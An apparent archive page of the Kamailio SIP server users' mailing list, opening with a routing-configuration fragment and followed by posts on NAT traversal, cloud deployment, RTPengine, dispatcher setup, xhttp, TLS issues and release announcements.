{ #!ifdef WITH_AUTH #!ifdef WITH_IPAUTH if((!is_method("REGISTER")) && allow_source_address()) { # source IP allowed return; } #!endif if (is_method("REGISTER") || from_uri==myself) { # authenticate requests if (!auth_check("$fd", "subscriber", "1")) { auth_challenge("$fd", "0"); exit; } # user authenticated - remove auth header if(!is_method("REGISTER|PUBLISH")) consume_credentials(); } # if caller is not local subscriber, then check if it calls # a local destination, otherwise deny, not an open relay here if (from_uri!=myself && uri!=myself) { sl_send_reply("403","Not relaying"); exit; } #!else # authentication not enabled - do not relay at all to foreign networks if(uri!=myself) { sl_send_reply("403","Not relaying"); exit; } #!endif return; } # Caller NAT detection route[NATDETECT] { #!ifdef WITH_NAT if (nat_uac_test("19")) { if (is_method("REGISTER")) { fix_nated_register(); } else { if(is_first_hop()) { set_contact_alias(); } } setflag(FLT_NATS); } #!endif return; } # RTPProxy control and signaling updates for NAT traversal route[NATMANAGE] { #!ifdef WITH_NAT if (is_request()) { if(has_totag()) { if(check_route_param("nat=yes")) { setbflag(FLB_NATB); } } } if (!(isflagset(FLT_NATS) || isbflagset(FLB_NATB))) return; #!ifdef WITH_RTPENGINE if(nat_uac_test("8")) { rtpengine_manage("SIP-source-address replace-origin replace-session-connection"); } else { rtpengine_manage("replace-origin replace-session-connection"); } #!else if(nat_uac_test("8")) { rtpproxy_manage("co"); } else { rtpproxy_manage("cor"); } #!endif if (is_request()) { if (!has_totag()) { if(t_is_branch_route()) { add_rr_param(";nat=yes"); } } } if (is_reply()) { if(isbflagset(FLB_NATB)) { if(is_first_hop()) set_contact_alias(); } } if(isbflagset(FLB_NATB)) { # no connect message in a dialog involving NAT traversal if (is_request()) { if(has_totag()) { set_forward_no_connect(); } } } #!endif return; } # URI update for dialog requests route[DLGURI] { #!ifdef WITH_NAT if(!isdsturiset()) { handle_ruri_alias(); } #!endif return; } # Routing to foreign domains route[SIPOUT] { if (uri==myself) return; append_hf("P-Hint: outbound\r\n"); route(RELAY); exit; } # PSTN GW routing route[PSTN] { #!ifdef WITH_PSTN # check if PSTN GW IP is defined if (strempty($sel(cfg_get.pstn.gw_ip))) { xlog("SCRIPT: PSTN routing enabled but pstn.gw_ip not defined\n"); return; } # route to PSTN dialed numbers starting with '+' or '00' # (international format) # - update the condition to match your dialing rules for PSTN routing if(!($rU=~"^(\+|00)[1-9][0-9]{3,20}$")) return; # only local users allowed to call if(from_uri!=myself) { sl_send_reply("403", "Not Allowed"); exit; } # normalize target number for pstn gateway # - convert leading 00 to + if (starts_with("$rU", "00")) { strip(2); prefix("+"); } if (strempty($sel(cfg_get.pstn.gw_port))) { $ru = "sip:" + $rU + "@" + $sel(cfg_get.pstn.gw_ip); } else { $ru = "sip:" + $rU + "@" + $sel(cfg_get.pstn.gw_ip) + ":" + $sel(cfg_get.pstn.gw_port); } route(RELAY); exit; #!endif return; } # JSONRPC over HTTP(S) routing #!ifdef WITH_JSONRPC event_route[xhttp:request] { set_reply_close(); set_reply_no_connect(); if(src_ip!=127.0.0.1) { xhttp_reply("403", "Forbidden", "text/html", "<html><body>Not allowed from $si</body></html>"); exit; } if ($hu =~ "^/RPC") { jsonrpc_dispatch(); exit; } xhttp_reply("200", "OK", "text/html", "<html><body>Wrong URL $hu</body></html>"); exit; } #!endif # Routing to voicemail server route[TOVOICEMAIL] { #!ifdef WITH_VOICEMAIL if(!is_method("INVITE|SUBSCRIBE")) return; # check if VoiceMail server IP is defined if (strempty($sel(cfg_get.voicemail.srv_ip))) { xlog("SCRIPT: VoiceMail routing enabled but IP not defined\n"); return; } if(is_method("INVITE")) { if($avp(oexten)==$null) return; $ru = "sip:" + $avp(oexten) + "@" + $sel(cfg_get.voicemail.srv_ip) + ":" + $sel(cfg_get.voicemail.srv_port); } else { if($rU==$null) return; $ru = "sip:" + $rU + "@" + $sel(cfg_get.voicemail.srv_ip) + ":" + $sel(cfg_get.voicemail.srv_port); } route(RELAY); exit; #!endif return; } # Manage outgoing branches branch_route[MANAGE_BRANCH] { xdbg("new branch [$T_branch_idx] to $ru\n"); route(NATMANAGE); return; } # Manage incoming replies reply_route { if(!sanity_check("17604", "6")) { xlog("Malformed SIP response from $si:$sp\n"); drop; } return; } # Manage incoming replies in transaction context onreply_route[MANAGE_REPLY] { xdbg("incoming reply\n"); if(status=~"[12][0-9][0-9]") { route(NATMANAGE); } return; } # Manage failure routing cases failure_route[MANAGE_FAILURE] { route(NATMANAGE); if (t_is_canceled()) exit; #!ifdef WITH_BLOCK3XX # block call redirect based on 3xx replies. if (t_check_status("3[0-9][0-9]")) { t_reply("404","Not found"); exit; } #!endif #!ifdef WITH_BLOCK401407 # block call redirect based on 401, 407 replies. if (t_check_status("401|407")) { t_reply("404","Not found"); exit; } #!endif #!ifdef WITH_VOICEMAIL # serial forking # - route to voicemail on busy or no answer (timeout) if (t_check_status("486|408")) { $du = $null; route(TOVOICEMAIL); exit; } #!endif return;

5 5

Why won't this work
by Fernando Lopes 05 Jun '25

05 Jun '25

Kamailio isn’t working on my Azure VM, even though it’s set up to use port 5060. The network rules on Azure have both inbound and outbound traffic open for all protocols. I also tried using advertised_address, but that didn’t help either. It looks like no traffic is even hitting Kamailio — none of the routing blocks are triggered. Kamailio.cfg alias=<PUBLIC-IP> listen=udp:10.0.0.4:5060 advertise <PUBLIC-IP>:5060 listen=tcp:10.0.0.4:5060 advertise <PUBLIC-IP>:5060 Sip Message: 2025/06/04 15:50:37.870679 64.16.250.10:5060 -> 10.0.0.4:5060 INVITE sip:+351200600020@<PUBLIC-IP>:5060 SIP/2.0 Record-Route: <sip:64.16.250.10;r2=on;lr;ftag=DpHvv09240egQ> Record-Route: <sip:10.255.0.2;r2=on;lr;ftag=DpHvv09240egQ> Via: SIP/2.0/UDP 64.16.250.10;branch=z9hG4bKd59a.fb67bf395ea20488a7a5ebf76b9b5685.0 v:SIP/2.0/UDP 10.239.196.24:6000;received=10.239.196.24;rport=6000;branch=z9hG4bKy9ZvBZcgretvr Max-Forwards:48 f:"+351908020050"<sip:+351908020050@sip.telnyx.com>;tag=DpHvv09240egQ t:<sip:+351200600020@<PUBLIC-IP>:5060> i:122d71bb-4f3d-473f-8853-9137023f1f14 CSeq:99972326 INVITE m:<sip:mod_sofia@10.239.196.24:6000> Allow:INVITE,ACK,BYE,CANCEL,OPTIONS,MESSAGE,INFO,UPDATE,REFER,NOTIFY k:timer,path u:talk,hold,conference,refer Privacy:none c:application/sdp Content-Disposition:session l:202 P-Asserted-Identity:"+351908020050"<sip:+351908020050@sip.telnyx.eu;verstat=No-TN-Validation> v=0 o=Telnyx 1749019739 1749019740 IN IP4 50.114.147.4 s=Telnyx c=IN IP4 50.114.147.4 t=0 0 m=audio 32498 RTP/AVP 9 a=rtpmap:9 G722/8000 a=sendrecv a=rtcp:32499 IN IP4 50.114.147.4 a=ptime:20

6 15

Kamailio Deployment in AWS
by gcampos＠momenta.network 04 Jun '25

04 Jun '25

Hi community, I'm not sure if anyone has ever tried that before, but I'm trying to run Kamailio in AWS with RTPengine. I successfully installed both Kamailio and RTPengine on my EC2 instance and I'm able to make my devices register to it. However, when I make a call from one of my devices, the call is muted. As I analyze my kamailio.cfg file, I see that the "route[NATMANAGE]" is likely the cause of the mute call. I think that none of the conditions below are met, therefore, the flags are not set. Because of that, the last condition is met, thus triggering the "return" and exiting from the route[NATMANAGE] prematurely without even reaching the section where I define the RTPengine modifications. Not only that, but if I remove/comment out the "return", then the RTPengine is triggered, but there call doesn't connect. I wonder why this is happening and if there's any known workaround. # RTP relaying management and signaling updates for NAT traversal route[NATMANAGE] { xlog("L_INFO", "NATMANAGE path was followed\n"); #!ifdef WITH_NAT xlog("L_INFO", "WITH_NAT Triggered\n"); if (is_request()) { xlog("L_INFO", "is_request path was followed\n"); if (has_totag()) { xlog("L_INFO", "has_totag path was followed\n"); if (check_route_param("nat=yes")) { xlog("L_INFO", "nat=yes param detected, setting FLB_NATB\n"); setbflag(FLB_NATB); } } if (nat_uac_test("3")) { xlog("L_INFO", "nat_uac_test(3) matched, setting FLT_NATS + FLB_NATB\n"); setflag(FLT_NATS); setbflag(FLB_NATB); } } if (!(isflagset(FLT_NATS) || isbflagset(FLB_NATB))) { xlog("L_INFO", "No NAT flags set, skipping NAT handling\n"); return; } #!ifdef WITH_RTPENGINE xlog("L_INFO", "WITH_RTPENGINE Path followed\n"); if (has_body("application/sdp")) { if (is_method("INVITE")) { xlog("L_INFO", "IS_METHOD_INVITE Path Followed\n"); rtpengine_manage("replace-origin replace-session-connection trust-address direction=internal"); } else if (is_reply()) { xlog("L_INFO", "IS_Reply Path Followed\n"); rtpengine_manage("replace-origin replace-session-connection trust-address direction=internal"); } } #!else if(nat_uac_test("8")) { rtpproxy_manage("co"); } else { rtpproxy_manage("cor"); } #!endif if (is_request()) { if (!has_totag()) { if(t_is_branch_route()) { add_rr_param(";nat=yes"); } } } if (is_reply()) { if(isbflagset(FLB_NATB)) { if(is_first_hop()) set_contact_alias(); } } if(isbflagset(FLB_NATB)) { # no connect message in a dialog involving NAT traversal if (is_request()) { if(has_totag()) { set_forward_no_connect(); } } } #!endif return; }

1 0

Will kamailio handle sip messages if Request contains public Ip
by Fernando Lopes 04 Jun '25

04 Jun '25

I have an Azure VM with a public IP of 1x5.2x6.1x8.1x3 and a local IP of 10.0.0.4. The SIP message received looks like this: INVITE sip:750046850780334@1x5.2x6.1x8.1x3:5060 SIP/2.0 Will Kamailio handle this SIP message, or will it ignore it? Right now, Kamailio is not doing anything with these messages. If it’s supposed to handle them, can someone help me fix this issue?

2 6

Re: Will kamailio handle sip messages if Request contains public Ip
by airsay＠duck.com 04 Jun '25

04 Jun '25

It should. You need to add a listen and alias in the kamailio.cfg file listen=udp:1x5.2x6.1x8.1x3:5060 alias=1x5.2x6.1x8.1x3 BR, airsay > On 4 Jun 2025, at 10:46, Fernando Lopes via sr-users <sr-users_at_lists.kamailio.org_airsay(a)duck.com> wrote: > > I have an Azure VM with a public IP of 1x5.2x6.1x8.1x3 and a local IP of 10.0.0.4. > The SIP message received looks like this: > INVITE sip:750046850780334@1x5.2x6.1x8.1x3:5060 SIP/2.0

2 1

adding codecs to rtpengine
by Jeff Brower 03 Jun '25

03 Jun '25

Hi all, Is there a documented procedure for adding codecs to rtpengine ? As I understand it so far, we would adapt rtpengine encoder and decoder interfaces to the voplib API (documented at https://github.com/signalogic/SigSRF_SDK/blob/master/codecs_readme.md), allowing use of voplib shared object libs. I've been searching (e.g. adding codecs to rtpengine site:kamailio.org) but have not found a step-by-step procedure yet. Thanks for any advice / guidance. -Jeff

3 2

event_route[xhttp:request] is not executed
by Володимир Іванець 03 Jun '25

03 Jun '25

Hello! I'm doing some testing with http requests but got stuck at the beginning. event_route[xhttp:request] does not seem to be executed. I'm getting the following in the log with the most basic configuration. Am I missing something? Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/ip_addr.c:577]: print_ip(): tcpconn_new: new tcp connection: 127.0.0.1 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/tcp_main.c:1238]: tcpconn_new(): on port 46328, type 2, socket 23 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/tcp_main.c:1630]: tcpconn_add(): hashes: 1391:1425:2615, 2 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/io_wait.h:367]: io_watch_add(): processing io_watch_add(0xb22d80, 23, 2, 0x7f7a63877f30) - fd_no=17 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/io_wait.h:598]: io_watch_del(): DBG: io_watch_del (0xb22d80, 23, -1, 0x0) fd_no=18 called Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/tcp_main.c:4671]: handle_tcpconn_ev(): sending to child, events 1 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/tcp_main.c:4335]: send2child(): selected tcp worker idx:1 proc:10 pid:9158 for activity on [tcp:127.0.0.1:8089], 0x7f7a63877f30 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 10(9158) DEBUG: <core> [core/tcp_read.c:1782]: handle_io(): received n=8 con=0x7f7a63877f30, fd=6 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 10(9158) DEBUG: <core> [core/tcp_read.c:627]: tcp_read_headers(): no clen, p=A Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 10(9158) ERROR: <core> [core/tcp_read.c:1555]: tcp_read_req(): bad request, state=7, error=4 buf: Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: GET /TEST HTTP/1.1 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: Host: 127.0.0.1:8089 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: User-Agent: curl/7.43.0 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: Accept: */* Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: parsed: Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: GET /TEST HTTP/1.1 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: Host: 127.0.0.1:8089 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: User-Agent: curl/7.43.0 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: Accept: */* Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 10(9158) DEBUG: <core> [core/tcp_read.c:1562]: tcp_read_req(): received from: port 46328 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 10(9158) DEBUG: <core> [core/ip_addr.c:577]: print_ip(): received from: ip127.0.0.1 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 10(9158) DEBUG: <core> [core/tcp_read.c:1704]: release_tcpconn(): releasing con 0x7f7a63877f30, state -2, fd=6, id=2 ([127.0.0.1]:46328 -> [127.0.0.1]:8089) Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 10(9158) DEBUG: <core> [core/tcp_read.c:1705]: release_tcpconn(): extra_data (nil) Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/tcp_main.c:3745]: handle_tcp_child(): reader response= 7f7a63877f30, -2 from 1 Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/tcp_main.c:3668]: tcp_emit_closed_event(): TCP closed event creation triggered (reason: 0) Jun 3 20:50:35 kamailio-dev-2 kamailio[9148]: 13(9161) DEBUG: <core> [core/tcp_main.c:3676]: tcp_emit_closed_event(): no callback registering for handling TCP closed event #!KAMAILIO children = 4 tcp_children = 4 debug=3 log_stderror=yes memdbg=5 memlog=5 fork=yes #!substdef "!LOCAL_UDP!udp:127.0.0.1:5060!g" #!substdef "!LOCAL_HTTP!tcp:127.0.0.1:8089!g" listen=LOCAL_UDP listen=LOCAL_HTTP loadmodule "xlog.so" loadmodule "pv.so" loadmodule "ctl.so" loadmodule "sl.so" loadmodule "xhttp.so" event_route[xhttp:request] { xhttp_reply("200", "OK", "text/html", "<html><body>OK - [$si:$sp]</body></html>"); } Thank you very much!

2 1

Kamailio Dispatcher for Docker Asterisk
by Fernando Lopes 03 Jun '25

03 Jun '25

Hello everyone, I have Kamailio running on port 5060, and I'm running Asterisk inside a Docker container. I'm trying to connect to Asterisk via port 5061. Could someone please advise what I should add to my dispatcher list? Currently, I have the dispatcher.list entry: 1 sip:10.0.0.5:5061;transport=tcp 0 Here’s the network info for my Kamailio host (eth0 interface): inet 10.0.0.4/24 brd 10.0.0.255 scope global eth0 And here are the relevant port mappings from Docker: 5038/tcp -> 0.0.0.0:5038 5060/tcp -> 0.0.0.0:5061 5060/udp -> 0.0.0.0:5061 ... My main question: Is the dispatcher entry sip:10.0.0.5:5061;transport=tcp correct if Asterisk is listening on port 5061 in the container? Do I need to adjust anything on the Kamailio side or change the dispatcher entry format? Thanks in advance for any help!

3 5

Small Question
by Fernando Lopes 03 Jun '25

03 Jun '25

Hello Everyone, I have a cloud vm with public ip: 135.2xx.1xx.1xx:5060 and locally 10.0.0.4 When I receive a SIP message the invite looks like this, it gets stuck here. SIP Invite: 2025/06/03 16:24:58.249284 192.76.120.10:5060 -> 10.0.0.4:5060 INVITE sip:+35122xxxxxxxx@135.2xx.1xx.1xx:5060 SIP/2.0 Record-Route: <sip:192.76.120.10;r2=on;lr;ftag=765jrrKarBe3F> Record-Route: <sip:10.255.0.1;r2=on;lr;ftag=765jrrKarBe3F> Via: SIP/2.0/UDP 192.76.120.10;branch=z9hG4bKbb37.28332dbc5901e729308403cd5e049713.0 v:SIP/2.0/UDP 10.239.44.224:6000;received=10.239.44.224;rport=6000;branch=z9hG4bKD4UtjN52Qrm9D Max-Forwards:55 f:"+3519xx78xx1x"<sip:+3519xx78xx1x@sip.telnyx.com>;tag=765jrrKarBe3F t:<sip:+35122xxxxxxxx@135.2xx.1xx.1xx:5060> i:c64314db-75b9-4029-8147-be3f3d77da2a CSeq:99930157 INVITE m:<sip:mod_sofia@10.239.44.224:6000> Allow:INVITE,ACK,BYE,CANCEL,OPTIONS,MESSAGE,INFO,UPDATE,REFER,NOTIFY k:timer,path u:talk,hold,conference,refer Privacy:none c:application/sdp Content-Disposition:session l:205 P-Asserted-Identity:"+3519xx78xx1x"<sip:+3519xx78xx1x@sip.telnyx.eu;verstat=No-TN-Validation> v=0 o=Telnyx 1748940128 1748940129 IN IP4 50.114.150.25 s=Telnyx c=IN IP4 50.114.150.25 t=0 0 m=audio 27770 RTP/AVP 9 a=rtpmap:9 G722/8000 a=sendrecv a=rtcp:27771 IN IP4 50.114.150.25 a=ptime:20 Kamailio Code: #!define DS_LIST "/etc/kamailio/dispatcher.list" #!define LISTEN_UDP_PUBLIC udp:135.2xx.1xx.1xx:5060 #!define LISTEN_UDP_PRIVATE udp:10.0.0.4:5060 #!define LISTEN_TCP_PUBLIC tcp:135.2xx.1xx.1xx:5060 #!define LISTEN_TCP_PRIVATE tcp:10.0.0.4:5060 #!define EXTERNAL_IP "10.0.0.4" #!define KUBERNETES_NETWORK "172.19." #!define FLAG_TELNYX_CALL 12 #set module path mpath = "/usr/lib/x86_64-linux-gnu/kamailio/modules" ####### Global Parameters ######### #mhomed=1 # doesn't work with virtual IPs #!ifdef WITH_DEBUG debug=4 #!else debug=2 #!endif log_stderror=no memdbg=5 memlog=5 #log_facility=LOG_LOCAL6 log_facility=LOG_LOCAL0 fork=yes children=4 auto_aliases=no #listen=LISTEN_UDP_PUBLIC listen=LISTEN_UDP_PRIVATE listen=LISTEN_TCP_PRIVATE ####### FLAGS ###### #!define FLAG_FROM_ASTERISK 10 #!define FLAG_FROM_PEER 11 sip_warning=no

1 0

Kamailio as Proxy only
by disa_369＠msn.com 03 Jun '25

03 Jun '25

Hello to everyone. I deployed Kamailio on Debian system. Install was successfull. I have not much experience Kamailio and i dont know what need to run Kamailio as Proxy. I have the task to use Kamailio as proxy between Avaya PBX and Videoconference System. Outgoing calls only from Avaya PBX -------> Kamailio ----> Video System. We dont need Kamailio subscribers\peers, Just to forward a call from avaya to Video system by ip. Video system has IVR number 3000, all we need to dial number 3000@ip_of_video_system. I got questions. 1. Do we need install maria_db for that? 2. Do we need create subscriber\peer on Kamailio? 3. Do we need add modules for that? And main question what to add in kamailio.cfg is? Thx!!!!!!!!!

2 2

Kamailio Regex
by Timothy Delin 03 Jun '25

03 Jun '25

Hi everyone, I need your advice. I am extracting a SIP Body message from a User Agent Client using the regex as such "$var(calling_party)= $(var(body){re.subst,/.*Calling-party:\s*sip:(\+[0-9]+)@.*/\1/});" And I tried to log it as "xlog("L_INFO", "Extracted number 1: $var(calling_party) <><><>\n");" However, the output in my logs is only showing as below, where I cannot see any value after my variables. "1(6) INFO: {1 10 SUBSCRIBE 5017ae21204c72a3} <script>: Extracted number 1: +6512345678" I suspect this is the reason why when I tried to use this variable in a redis_cmd, it returns as null as the variable may have impacted the command input to Redis. I tried to change the $var(calling_party)="+6512345678" and it is working perfectly fine Best regards, Timothy

3 5

Re: Kamailio as Proxy only
by airsay＠duck.com 30 May '25

30 May '25

I'm not very skilled with Kamailio config. But it sounds like dsiprouter (a graphical UI built ontop of Kamailio) would be your easiest solution. On Dsiprouter, You can set up Avaya as a Carrier Group and Video conference as an Endpoint Group. Then route accordingly. Sent from my iPhone > On 30 May 2025, at 12:19, disa_369--- via sr-users <sr-users_at_lists.kamailio.org_airsay(a)duck.com> wrote: > > Hello to everyone. > I deployed Kamailio on Debian system. Install was successfull. > I have not much experience Kamailio and i dont know what need to run Kamailio as Proxy. > I have the task to use Kamailio as proxy between Avaya PBX and Videoconference System. > Outgoing calls only from > Avaya PBX -------> Kamailio ----> Video System. > We dont need Kamailio subscribers\peers, Just to forward a call from avaya to Video system by ip. > Video system has IVR number 3000, all we need to dial number 3000@ip_of_video_system. > I got questions. > 1. Do we need install maria_db for that? > 2. Do we need create subscriber\peer on Kamailio? > 3. Do we need add modules for that? > > And main question what to add in kamailio.cfg is? > > Thx!!!!!!!!! > __________________________________________________________ > Kamailio - Users Mailing List - Non Commercial Discussions -- sr-users(a)lists.kamailio.org > To unsubscribe send an email to sr-users-leave(a)lists.kamailio.org > Important: keep the mailing list in the recipients, do not reply only to the sender!

1 0

Hyperthreading and high request volumes in modern times
by Brooks Bridges 30 May '25

30 May '25

So, I have a platform that handles in the order of around 2500 or more call attempts per second. There are 2 servers that are built that handle this traffic, "old" and "new". The "old" design is a bit heavy, has multiple redis calls to external IO, does a lot of "work" on each invite before passing it along, etc. The "new" design is extremely lightweight, only a couple of htable comparisons and a dispatcher check on each invite before passing it along. The 2 servers are running different versions of Kamailio, however they're both in the 5.x train and I've found nothing in the changelogs that I believe would explain a significant difference in how child process CPU scheduling is performed, especially a detrimental change. I'm more than happy to be proven wrong about that though! The "old" system is running 5.4.8: This system is running 4 x 8 core CPUs (32 cores) with no hyperthreading (4 x E5-4627 v2 to be exact) and has multiple external IO interactions with things like redis, lots of "work" being done on each invite checking various things before allowing it to proceed. This is currently running 32 child processes and again, has no issues handling the requests whatsoever and has been running at this level and higher for literal years. The "new" system is running 5.8.3: This system is running 2 x 8 core CPUs (16 cores) *with* hyperthreading (2 x E5-2667 v4 to be exact) and has no external IO interactions with anything, and only does a couple of checks against some hash table values and dispatcher before allowing it to proceed. This is also currently running 32 child processes, however I am experiencing spikes in context switching and odd memory access issues (e.g. backtraces show things like "<error: Cannot access memory at address 0x14944ec60>" in udp_rvc_loop) with similar loads. What I'm looking for here is empirical knowledge about things specifically like context switching and if hyperthreading is detrimental in cases where I'm doing very high volume, low latency (e.g. no waiting on external replies, etc) work. Is it possible there are additional issues with the way hyperthreading works and the concepts behind it if the individual calls for CPU resources are so "quick" as to overwhelm the scheduler and cause congestion in the CPU's thread scheduler itself? Have you run into anything like this? Have you discovered that very low latency call processing can incur more hyperthreading overhead than the benefit you get from it? Do you have additional data I may be missing to help me justify to the C suite to change out the system architecture to provide a higher physical core count? Can you share it? Thanks!

6 14

Sca in cluster/load balancer
by mauro.celli76＠gmail.com 29 May '25

29 May '25

We have two kamailio in load balancing, mysql is in cluster mode with galera. We need to use sca, but kamailio db_cluster is not supported (i need to specify connection string to sql not cluster name) and if phone1 is registered on kamailio1 and phone2 on kamailio2, sca not work. It is possibile to implement cluster?

3 5

How to count the first re-register request?
by James Morrison 26 May '25

26 May '25

I want to count the first REGISTER request during an initial register or re-register from UE. In my scscf instance, I have defined att_init_reg and att_rereg counters to count the number of initial registers and re-registers respectively. In my early tests, the following piece of logic worked as expected to filter the very first register request (one that is sent from UE before getting challenged). However, more tests showed that during re-registers, UE sends a REGISTER request, containing an authorization header and non-empty response, in that case the code is unable to distinguish a re-register attempt and the related counter fails to increment. Is there a way to fix this issue? #!ifdef WITH_XHTTP_PROM /* Only count the first register request */ if (!is_present_hf("Authorization") || search_hf("Authorization","response=\"\"","f")) { if ($var(impu_registered) != 1) { prom_counter_inc("att_init_reg", "1"); } else { prom_counter_inc("att_rereg", "1"); } } #!endif

3 5

5.7.7 release, tag and docker build
by Henning Westerholt 23 May '25

23 May '25

Hello, I have noticed that the git tag for release 5.7.7 was missing, I've just set it. The 5.7.7-bullseye docker image is also missing from https://github.com/kamailio/kamailio-docker/pkgs/container/kamailio Not sure if this is done automatically, if not - please can somebody please trigger the workflow to create it? Thank you, Henning

1 0

Help Adding WebRTC to Existing SIP Setup
by Fernando Lopes 22 May '25

22 May '25

Hi everyone, I currently have a working SIP setup, but I'm trying to get WebRTC working alongside it and haven’t had much success so far. Does anyone have tips or best practices for enabling both SIP and WebRTC in the same configuration? Is it possible to handle both within a single Kamailio config? Or would I need some kind of conditional logic (like if/else) to manage how the config handles different types of clients? My setup looks like this: Router → Kamailio → Kubernetes (Asterisk inside the cluster) I was having some issues with the Contact header, but I managed to resolve that. Now I'm stuck figuring out how to make WebRTC work cleanly alongside SIP. Any advice would be appreciated! Thanks!

2 1

Kamailio v5.7.7 Released
by Daniel-Constantin Mierla 21 May '25

21 May '25

Hello, Kamailio SIP Server v5.7.7 stable release is out. This is a maintenance release of the latest stable branch, 5.7, that includes fixes since the release of v5.7.6. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.7.x. Deployments running previous v5.7.x versions are strongly recommended to be upgraded to v5.7.7. Note that 5.7 is now the third last stable branch, v5.7.7 being the last planned released in 5.7.x series. The latest two stable branch are 5.8 and 6.0, with v6.0.1 being released a while ago. For more details about version 5.7.7 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2025/05/kamailio-v5-7-7-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com

1 0

Releasing v5.7.7
by Daniel-Constantin Mierla 21 May '25

21 May '25

Hello, I am considering to release Kamailio v5.7.7 (out of branch 5.7) on Wednesday, May 21, 2025, as the last one from the 5.7.x series, to mark the end of support for it. Currently 5.8.x and 6.0.x are the latest two maintained branches. Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com

1 1

Re: stir/shaken integration with clearip redirect method
by JR Richardson 20 May '25

20 May '25

I appreciate all the feedback Fellas, checking the docs, there is no need to change the RURI, they do what some E164 fixup presented without the +. I'll follow up after testing, got a bit to chew one here. Thanks! JR Richardson

1 0

stir/shaken integration with clearip redirect method
by JR Richardson 19 May '25

19 May '25

Hey Folks, I'm integrating STIR/SHAKEN using kamailio, but not using self hosted certs with the secsipid module, just using a redirect from clearip on the SIP Calls. I've got the basic connection to clearip using t_relay_to_tcp for testing, but I'm struggling with the checks and timeouts. I have call progress past the initial request where I need to wait for a response. Should I put the clearip invite in its own route block use return? Has anyone successfully integrated the redirect method with kamailio to clearip and can give me some example route checks in the kamailio configs? Thanks. JR

4 6

Server closing TLS connection
by Ihor Olkhovskyi 16 May '25

16 May '25

Hello, I'm having a strange issue, when Kamailio(?) is closing TLS connection just in the middle of session. Usually I see a sort of timeout ~ 600 secs. But it does not ring a bell for me. With strace I've found, that it's actually not Kamailio, but underlying SSL library is doing this, according to line I've got from strace [2025-05-16 10:00:30] PID=1337952 FD=0 SYSCALL=close -> [No socket info] Raw: sendto(3, "<183>May 16 10:00:30 /usr/local/sbin/kamailio[1337952]: DEBUG: tls [tls_server.c:712]: tls_h_tcpconn_close_f(): Closing SSL connection 0x7f01a1ab1870\n", 150, MSG_NOSIGNAL, NULL, 0) = 150 As I don't see any explicit calls of tls_h_tcpconn_close_f in the source code, I assume it's a callback from the external OpenSSL(?) module. What would be the best way to debug why OpenSSL(?) is terminating connection, cause on Wireshark I just do see usual TCP connection with keepalives [image: image.png] kamailio -v version: kamailio 5.8.3 (x86_64/linux) 6f8a04 flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. openssl --version OpenSSL 3.2.2 4 Jun 2024 (Library: OpenSSL 3.2.2 4 Jun 2024) enable_tls=yes enable_sctp=no tls_threads_mode=2 tcp_accept_no_cl=yes tcp_max_connections=63536 tls_max_connections=63536 tcp_accept_aliases=no tcp_async=yes tcp_connect_timeout=30 tcp_conn_wq_max=63536 tcp_crlf_ping=yes tcp_delayed_ack=yes tcp_fd_cache=yes tcp_keepalive=yes tcp_keepcnt=5 tcp_keepidle=30 tcp_keepintvl=10 tcp_linger2=30 tcp_script_mode=1 tcp_rd_buf_size=80000 tcp_send_timeout=10 tcp_wq_blk_size=2100 tcp_wq_max=10485760 open_files_limit=63536 Many thanks in advance! -- Best regards, Ihor (Igor)

1 1

extract_candidate() errors on 6.0.0
by Arsenijs Kabihno 14 May '25

14 May '25

